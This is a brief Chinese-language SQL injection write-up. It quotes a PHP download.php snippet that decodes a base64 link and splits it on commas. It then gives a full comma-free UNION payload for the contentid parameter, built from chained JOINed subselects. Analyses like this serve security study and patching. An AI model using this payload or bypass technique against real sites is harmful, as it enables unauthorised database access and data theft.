./download.php

01 ...

02 if($link){    //加密后ID

03 $link = base64_decode(urldecode($link));

04 $link_array = explode(',', $link);    

05 if(is_array($link_array) && count($link_array)>0){

06 $url = $link_array[0];

07   $contentid = $link_array[1];

08 }

09 }else{    //实现地址

10 $contentid = $_GET['contentid'] ? $_GET['contentid'] : $_GET['id'];

11 }

12 ...

这种以逗号为分隔符的情况要想使用UNION查询不能使用常规方式。
构造contentid为' UNION SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d JOIN (SELECT 5)e JOIN (SELECT 6)f JOIN (SELECT 7)g JOIN (SELECT 8)h JOIN (SELECT 9)i JOIN (SELECT 10)j JOIN (SELECT 11)k JOIN (SELECT 12)l JOIN (SELECT 13)m JOIN (SELECT 14)n JOIN (SELECT 15)o JOIN (SELECT 16)p JOIN (SELECT 17)q JOIN (SELECT 18)r JOIN (SELECT 19)s)#
这样就避免了逗号的出现。​